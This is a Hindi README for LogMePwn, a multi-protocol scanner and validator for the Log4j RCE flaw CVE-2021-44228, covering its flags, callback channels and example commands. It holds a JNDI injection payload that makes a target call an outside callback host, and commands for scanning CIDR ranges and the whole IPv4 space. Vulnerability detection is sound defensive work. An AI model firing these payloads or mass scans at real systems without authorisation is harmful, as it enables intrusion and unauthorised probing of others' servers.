
लॉग4जी आरसीई सीवीई-2021-44228 भेद्यता के लिए एक पूरी तरह से स्वचालित, विश्वसनीय, अत्यंत तेज, स्कैनिंग और वैलिडेशन टूलकिट।
LogMePwn एक पूरी तरह से स्वचालित, मल्टी-प्रोटोकॉल, विश्वसनीय, अत्यंत तेज़ स्कैनिंग और सत्यापन टूलकिट है जो Log4J RCE CVE-2021-44228 कमज़ोरी के लिए है।

LogMePwn Canary Tokens का उपयोग करके काम करता है, जो बदले में आपके पसंदीदा संचार चैनल पर ईमेल और वेबहुक सूचनाएँ प्रदान करता है। यदि आपके पास एक कस्टम कॉलबैक सर्वर है, तो आप निश्चित रूप से इसका भी उपयोग कर सकते हैं!
टूल का उपयोग करने के लिए, आप Releases सेक्शन से अपने डिस्ट्रीब्यूशन के अनुसार एक बाइनरी ले सकते हैं और इसका उपयोग कर सकते हैं। यदि आप टूल को बनाना चाहते हैं, तो आपको Go >= 1.13 की आवश्यकता होगी। बस रिपॉजिटरी को क्लोन करें और go build चलाएँ।
यहाँ टूल का मूल उपयोग है:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
एक कस्टम कॉलबैक सर्वर निर्दिष्ट करें।
-delay int
एक ही होस्ट को ओवरव्हेल्म करने से बचने के लिए एक ही होस्ट के लिए क्रमिक अनुरोधों के बीच देरी।
-email string
कॉलबैक सूचनाएँ प्राप्त करने के लिए ईमेल।
-fbody string
HTTP अनुरोध के बॉडी के रूप में उपयोग करने के लिए एक फ़ॉर्मेट स्ट्रिंग निर्दिष्ट करें।
-file string
स्कैन करने के लिए होस्ट की सूची वाली फ़ाइल निर्दिष्ट करें।
-ftp-ports string
प्रति लक्ष्य स्कैन करने के लिए HTTP पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "21")
-headers string
उपयोग करने के लिए HTTP हेडर की अल्पविराम से अलग की गई सूची; यदि खाली है, तो डिफ़ॉल्ट हेडर का सेट उपयोग किया जाता है।
-headers-file string
HTTP अनुरोधों में उपयोग करने के लिए कस्टम हेडर सेट वाली फ़ाइल निर्दिष्ट करें।
-http-methods string
स्कैनिंग करते समय उपयोग करने के लिए HTTP विधियों की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "GET")
-http-ports string
प्रति लक्ष्य स्कैन करने के लिए HTTP पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "80,443,8080")
-imap-ports string
प्रति लक्ष्य स्कैन करने के लिए IMAP पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "143,993")
-json
HTTP अनुरोधों में JSON प्रकार की बॉडी का उपयोग करें जिसमें बॉडी हो सकती है।
-payload string
उपयोग करने के लिए एक एकल पेलोड या पेलोड की सूची वाली फ़ाइल निर्दिष्ट करें।
-protocol string
कमज़ोरियों के लिए परीक्षण करने हेतु एक प्रोटोकॉल निर्दिष्ट करें। (डिफ़ॉल्ट "all")
-ssh-ports string
प्रति लक्ष्य स्कैन करने के लिए SSH पोर्ट की अल्पविराम से अलग की गई सूची। (डिफ़ॉल्ट "22")
-threads int
स्कैनिंग करते समय उपयोग करने के लिए थ्रेड्स की संख्या। (डिफ़ॉल्ट 10)
-token string
अनुरोधों में उपयोग करने के लिए कैनरी टोकन पेलोड; यदि खाली है, तो एक नया टोकन उत्पन्न किया जाएगा।
-user-agent string
उपयोग करने के लिए कस्टम यूज़र-एजेंट स्ट्रिंग; यदि खाली है, तो पेलोड का उपयोग किया जाएगा।
-webhook string
कॉलबैक सूचनाएँ प्राप्त करने के लिए वेबहुक।
-xml
HTTP अनुरोधों में XML प्रकार की बॉडी का उपयोग करें जिसमें बॉडी हो सकती है।
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
नया: यह सुविधा v2.0 में पेश की गई थी।
नवीनतम संस्करण के साथ कई प्रोटोकॉल के लिए समर्थन पेश किया गया है। अब तक हमारे पास 4 अलग-अलग प्रोटोकॉल हैं:
यदि आप -protocol तर्क के माध्यम से कोई प्रोटोकॉल निर्दिष्ट नहीं करते हैं, तो टूल सभी समर्थित प्रोटोकॉल के लिए सभी प्लगइन्स डिफ़ॉल्ट पोर्ट सेट के विरुद्ध चलाएगा।
देखें कि प्रति प्रोटोकॉल पोर्ट को कैसे नियंत्रित करें।
उदाहरण:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # डिफ़ॉल्ट पोर्ट पर सभी प्रोटोकॉल के लिए स्कैन करता है
लक्ष्य दो तरीकों से निर्दिष्ट किए जा सकते हैं, कमांड लाइन इंटरफ़ेस के माध्यम से तर्क के रूप में, या फ़ाइल के माध्यम से।
नया: अब आप CIDR रेंज भी स्कैन करने के लिए पास कर सकते हैं! यह सुविधा v1.1 में पेश की गई थी।
उदाहरण:
./lmp <अन्य तर्क यहाँ> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <अन्य तर्क यहाँ> -file internet-ranges.lst
./lmp <अन्य तर्क यहाँ> 192.168.0.0/26 1.2.3.4/30
प्रत्येक प्रोटोकॉल के साथ पोर्ट की एक डिफ़ॉल्ट समर्थित सूची जुड़ी होती है जिसे निम्नलिखित फ़्लैग्स का उपयोग करके फ़ाइन-ट्यून किया जा सकता है:
-http-ports HTTP के लिए।-imap-ports IMAP के लिए।-ssh-ports SSH के लिए।-ftp-ports FTP के लिए।यदि उपयोगकर्ता host:port के रूप में एक होस्ट+पोर्ट जोड़ी का उल्लेख करता है, तो पोर्ट की डिफ़ॉल्ट सूची को त्याग दिया जाता है और उस विशिष्ट पोर्ट के लिए सभी जाँचें की जाती हैं। यदि -protocol का उल्लेख नहीं किया गया है, तो सभी प्रोटोकॉल के प्लगइन्स का उसी पोर्ट पर परीक्षण किया जाएगा।
यह सुविधा v1.1 में पेश की गई थी।
आप -payload तर्क के माध्यम से सीधे एक पेलोड निर्दिष्ट कर सकते हैं। हालाँकि यदि आप पेलोड में परीक्षण किए जा रहे होस्ट का DNS नाम चाहते हैं, तो आप एक फ़ॉर्मेटिंग निर्देश $DNSNAME$ निर्दिष्ट कर सकते हैं जिसे उस लक्ष्य से बदल दिया जाएगा जिसके विरुद्ध पेलोड का परीक्षण किया जा रहा है।
जैसे, यदि आप इस तरह एक कमांड देते हैं:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
तो URL पर HTTP अनुरोध भेजते समय, पेलोड इस तरह दिखेगा:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
यह सुविधा आपको ब्लैक-बॉक्स फ़ज़िंग करते समय यह मूल्यांकन करने में मदद करेगी कि कौन से होस्ट कमज़ोर हैं।
आप उसी तर्क का उपयोग करके पेलोड के कई रूपों वाले पेलोड को भी निर्दिष्ट कर सकते हैं। (देखें payloads-sample.txt)। उदाहरण:
./lmp -payload payloads-sample.txt vulnerable.site.com
नोट: यह सुविधा कैनरी टोकन के साथ काम नहीं करती है। Canarytokens कस्टम DNS प्रारूपों का समर्थन नहीं करता है।
नोट: यदि आप
-payloadका उपयोग करके एक कस्टम पेलोड प्रदान कर रहे हैं, तो सूचना चैनल निर्दिष्ट करना आवश्यक नहीं है। पेलोड में स्वयं आपका कॉलबैक सर्वर होना चाहिए।
सूचना चैनल निम्नलिखित में से कोई भी हो सकते हैं:
-email)-webhook)-custom-server)टूल Canary Tokens का उपयोग करता है, आप यहाँ से एक बना सकते हैं, या टूल को आपके लिए एक टोकन बनाने दें। यदि टूल एक टोकन बनाता है, तो वह canarytoken-logmepwn.json नामक फ़ाइल में लिखा जाएगा, जिसमें टोकन स्वयं और प्रमाणीकरण (दोनों) शामिल होंगे, जिनकी आपको वेब इंटरफ़ेस के माध्यम से ट्रिगर देखने के लिए आवश्यकता होगी।
यदि आपके पास पहले से एक टोकन है, तो आप -token तर्क का उपयोग करके सीधे टोकन का उपयोग कर सकते हैं और एक नया नहीं बना सकते।
नोट: यदि आप या तो एक ईमेल या एक वेबहुक प्रदान करते हैं, तो टूल एक कस्टम कैनरी टोकन बनाएगा। यदि आप एक कस्टम कॉलबैक सर्वर का उपयोग करते हैं, तो टोकन चलन में नहीं आते हैं।
टूल अनुरोध भेजते समय बहुत लचीलापन प्रदान करता है। डिफ़ॉल्ट रूप से टूल GET अनुरोधों का उपयोग करता है। हेडर का एक डिफ़ॉल्ट सेट उपयोग किया जाता है, जिनमें से प्रत्येक में उसके मान में एक पेलोड होता है। आप -headers तर्क के माध्यम से हेडर का एक कस्टम सेट निर्दिष्ट कर सकते हैं। आप हेडर की सूची वाली फ़ाइल प्रदान करने के लिए -headers-file स्विच का उपयोग कर सकते हैं। उदाहरण:
./lmp <अन्य तर्क> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <अन्य तर्क> -headers-file headers.txt 1.2.3.4:8080
आप -methods स्विच के माध्यम से स्कैनिंग के लिए उपयोग करने के लिए HTTP विधियों की सूची निर्दिष्ट कर सकते हैं। बॉडी वाले अनुरोधों के लिए, जैसे POST, PUT, आदि, आप बॉडी की सामग्री को कस्टमाइज़ कर सकते हैं।
डिफ़ॉल्ट रूप से टूल सीधे बॉडी के माध्यम से एक पेलोड भेजता है। टूल निम्नलिखित तरीकों से बॉडी के अनुकूलन की पेशकश करता है:
-json निर्दिष्ट करें।-xml।-fbody जहाँ पेलोड इंजेक्ट किया जाएगा। यह परीक्षण करते समय जटिल अनुरोध निर्माण की अनुमति देता है। उदाहरण के लिए, यदि आप सामग्री को HTML के रूप में भेजना चाहते हैं, तो यह इस तरह दिख सकता है:
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
आप -user-agent स्विच के माध्यम से एक कस्टम यूज़र-एजेंट हेडर मान निर्दिष्ट कर सकते हैं।
टूल लक्ष्यों की एक विस्तृत श्रृंखला को स्कैन करने के लिए अनुकूलित है। पर्याप्त नेटवर्क बैंडविड्थ और हार्डवेयर के साथ, आप एक दिन के भीतर पूरे IPv4 स्पेस को स्कैन कर सकते हैं। स्कैनिंग करते समय उपयोग करने के लिए समवर्ती थ्रेड्स की डिफ़ॉल्ट संख्या केवल 10 निर्धारित की गई है (स्थानीय हार्डवेयर पर विश्वसनीयता के लिए अनुकूलित)। मान हज़ारों तक जा सकता है (मैं बेंचमार्किंग का कार्य आप पर छोड़ता हूँ)। :)
टूल के साथ उपयोग करने के लिए थ्रेड्स की संख्या प्रदान करने के लिए -threads स्विच का उपयोग करें।
चूँकि बहुत सारे HTTP अनुरोध शामिल होते हैं, रिमोट होस्ट के लिए अनुरोधों को संभालना एक बोझिल काम हो सकता है। -delay पैरामीटर आपकी उन स्थितियों में मदद करने के लिए यहाँ है। आप सेकंड में एक देरी मान निर्दिष्ट कर सकते हैं - जिसका उपयोग एक सर्वर पर एक ही पोर्ट पर दो क्रमिक अनुरोधों के बीच किया जाएगा।
स्कैनर को प्रदर्शित करने के लिए, मैं डॉकर का उपयोग करके @christophetd से एक कमज़ोर सेटअप का उपयोग करता हूँ:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

फिर मैं सेटअप के विरुद्ध टूल चलाता हूँ:
./lmp -email [email protected] -protocol http 127.0.0.1:8080

जिसने तुरंत कुछ DNS लुकअप ट्रिगर किए जो टोकन इतिहास पृष्ठ के साथ-साथ मेरे ईमेल पर दिखाई दे रहे थे:

संस्करण v2.0 में अद्यतन:
संस्करण v1.1 में अद्यतन:
बेझिझक मुझसे ट्विटर पर संपर्क करें या एक मुद्दा या PR बनाएँ।
टूल GNU GPLv3 के तहत लाइसेंस प्राप्त है। LogMePwn वर्तमान में v2.0 पर है।
Thinkst Canary टीम को उनके अद्भुत Canary Tokens प्रोजेक्ट के लिए धन्यवाद।
♡ द्वारा तैयार किया गया Pinaki (@0xInfection) द्वारा।